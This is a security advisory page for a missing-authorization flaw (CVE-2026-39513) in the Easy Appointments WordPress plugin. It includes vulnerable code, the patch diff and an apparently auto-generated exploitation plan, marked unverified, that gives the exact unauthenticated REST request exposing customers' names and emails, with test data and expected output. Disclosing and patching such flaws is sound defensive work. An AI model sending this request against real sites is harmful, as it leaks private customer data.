CVE-2026-39513

Easy Appointments <= 3.12.21 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.12.22
Patched in
9d
Time to patch

Description

The Easy Appointments plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.12.21. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.12.21
PublishedApril 13, 2026
Last updatedApril 21, 2026
Affected plugineasy-appointments

What Changed in the Fix

Changes introduced in v3.12.22

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39513 - Easy Appointments Missing Authorization ## 1. Vulnerability Summary The **Easy Appointments** plugin (up to and including version 3.12.21) contains a missing authorization vulnerability within its REST API implementation for Gutenberg blocks. Specifica…

Show full research plan

Exploitation Research Plan: CVE-2026-39513 - Easy Appointments Missing Authorization

1. Vulnerability Summary

The Easy Appointments plugin (up to and including version 3.12.21) contains a missing authorization vulnerability within its REST API implementation for Gutenberg blocks. Specifically, the route /wp/v2/eablocks/ea_appointments/ is registered with 'permission_callback' => '__return_true', allowing any unauthenticated user to retrieve a full list of appointments. This data includes sensitive Personal Identifiable Information (PII) such as customer names, emails, and phone numbers stored in custom fields.

2. Attack Vector Analysis

  • Endpoint: GET /wp-json/wp/v2/eablocks/ea_appointments/
  • Alternative Endpoint: GET /wp-json/wp/v2/eablocks/get_ea_options/ (less sensitive, but also unprotected)
  • Authentication: None required (unauthenticated).
  • Parameters:
    • location (Optional, integer): Filter by location ID.
    • service (Optional, integer): Filter by service ID.
    • worker (Optional, integer): Filter by worker ID.
  • Preconditions: The plugin must be active. At least one appointment must exist in the database for the exploit to demonstrate data exposure.

3. Code Flow

  1. Route Registration: In ea-blocks/ea-blocks.php, the rest_api_init hook registers the route:
    register_rest_route('wp/v2/eablocks', '/ea_appointments/', [
        'methods'  => 'GET',
        'callback' => 'easy_ea_block_get_appointments',
        'permission_callback' => '__return_true', // <--- Vulnerability: No auth check
    ]);
    
  2. Callback Execution: The function easy_ea_block_get_appointments is called. It extracts location, service, and worker parameters and passes them to easy_ea_block_get_all_appointments($data).
  3. Data Retrieval: easy_ea_block_get_all_appointments performs a SQL query:
    $query = "SELECT * FROM $tableName WHERE 1 {$location}{$service}{$worker}{$status}{$search} ORDER BY id DESC";
    
  4. PII Enrichment: The function then calls easy_ea_block_get_fields_for_apps($ids), which joins the ea_meta_fields (slugs like 'name', 'email') and ea_fields (the actual values) tables.
  5. Data Leak: All custom field values are attached to the appointment objects and returned as a JSON array to the requester.

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce.

  • The endpoint is a GET request.
  • The permission_callback is explicitly set to __return_true.
  • WordPress does not require nonces for unauthenticated GET requests to REST routes that do not enforce permissions.
  • Even if a nonce were checked via check_ajax_referer, it would be for the wp_rest action, which is generally available or bypassable for unauthenticated users when the permission callback is missing. However, no such check exists in the source.

5. Exploitation Strategy

  1. Identify Target: Confirm the plugin is active and the REST API is accessible.
  2. Send Request: Perform an unauthenticated GET request to the vulnerable endpoint.
  3. Analyze Response: Parse the JSON response for sensitive customer fields (name, email, phone, etc.).

HTTP Request (Playwright/http_request)

GET /wp-json/wp/v2/eablocks/ea_appointments/ HTTP/1.1
Host: TARGET_HOST
Accept: application/json

6. Test Data Setup

To verify the exploit, we must populate the custom Easy Appointments tables. Use wp db query to ensure the data is present:

  1. Create Meta Fields (Slugs):
wp db query "INSERT INTO wp_ea_meta_fields (id, slug, name, type, is_visible) VALUES (1, 'name', 'Name', 'text', 1), (2, 'email', 'Email', 'text', 1);"
  1. Create a Location and Service:
wp db query "INSERT INTO wp_ea_locations (id, name) VALUES (1, 'Test Clinic');"
wp db query "INSERT INTO wp_ea_services (id, name) VALUES (1, 'General Consultation');"
  1. Create an Appointment:
wp db query "INSERT INTO wp_ea_appointments (id, location, service, worker, status, date, start, end) VALUES (101, 1, 1, 1, 'confirmed', '2025-05-20', '10:00:00', '11:00:00');"
  1. Link PII to Appointment:
wp db query "INSERT INTO wp_ea_fields (app_id, field_id, value) VALUES (101, 1, 'Secret Patient'), (101, 2, 'patient@private.com');"

7. Expected Results

  • The HTTP response status should be 200 OK.
  • The response body will be a JSON array containing the appointment object.
  • Verification Key: The JSON object for ID 101 must contain "name": "Secret Patient" and "email": "patient@private.com".

Example response snippet:

[
  {
    "id": "101",
    "status": "confirmed",
    "date": "2025-05-20",
    "start": "10:00:00",
    "end": "11:00:00",
    "name": "Secret Patient",
    "email": "patient@private.com"
  }
]

8. Verification Steps

After running the exploit via http_request, use WP-CLI to confirm the data matches the database:

# Check the appointment list from the DB
wp db query "SELECT * FROM wp_ea_appointments WHERE id=101"
# Check
Research Findings
Static analysis — not yet PoC-verified

Summary

The Easy Appointments plugin for WordPress (up to version 3.12.21) exposes sensitive appointment data via its REST API due to a missing authorization check. Unauthenticated attackers can access a full list of appointments, including customer names, emails, and phone numbers, by querying the plugin's registered Gutenberg block endpoints.

Vulnerable Code

// ea-blocks/ea-blocks.php line 93
add_action('rest_api_init', function () {
	register_rest_route('wp/v2/eablocks', '/get_ea_options/', array(
		'methods'  => 'GET',
		'callback' => 'easy_ea_blocks_get_options',
		'permission_callback' => '__return_true',
	));
});

---

// ea-blocks/ea-blocks.php line 227
add_action('rest_api_init', function () {
	register_rest_route('wp/v2/eablocks', '/ea_appointments/', [
		'methods'  => 'GET',
		'callback' => 'easy_ea_block_get_appointments',
		'permission_callback' => '__return_true', // Secure this if needed
	]);
});

Security Fix

--- /ea-blocks/ea-blocks.php
+++ /ea-blocks/ea-blocks.php
@@ -96,7 +96,9 @@
 	register_rest_route('wp/v2/eablocks', '/get_ea_options/', array(
 		'methods'  => 'GET',
 		'callback' => 'easy_ea_blocks_get_options',
-		'permission_callback' => '__return_true',
+		'permission_callback' => function () {
+			return current_user_can('manage_options');
+		},
 	));
 });
 
@@ -229,7 +231,9 @@
 	register_rest_route('wp/v2/eablocks', '/ea_appointments/', [
 		'methods'  => 'GET',
 		'callback' => 'easy_ea_block_get_appointments',
-		'permission_callback' => '__return_true', // Secure this if needed
+		'permission_callback' => function () {
+			return current_user_can('manage_options');
+		},
 	]);
 });

Exploit Outline

The exploit is unauthenticated and requires no special parameters or nonces. An attacker sends a GET request to the REST API endpoint `/wp-json/wp/v2/eablocks/ea_appointments/`. Because the 'permission_callback' is set to '__return_true', the server executes the callback function 'easy_ea_block_get_appointments'. This function retrieves all appointment records from the database and enriches them with custom field meta (PII) such as the customer's name and email address. The final data is returned to the attacker as a JSON array of objects.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.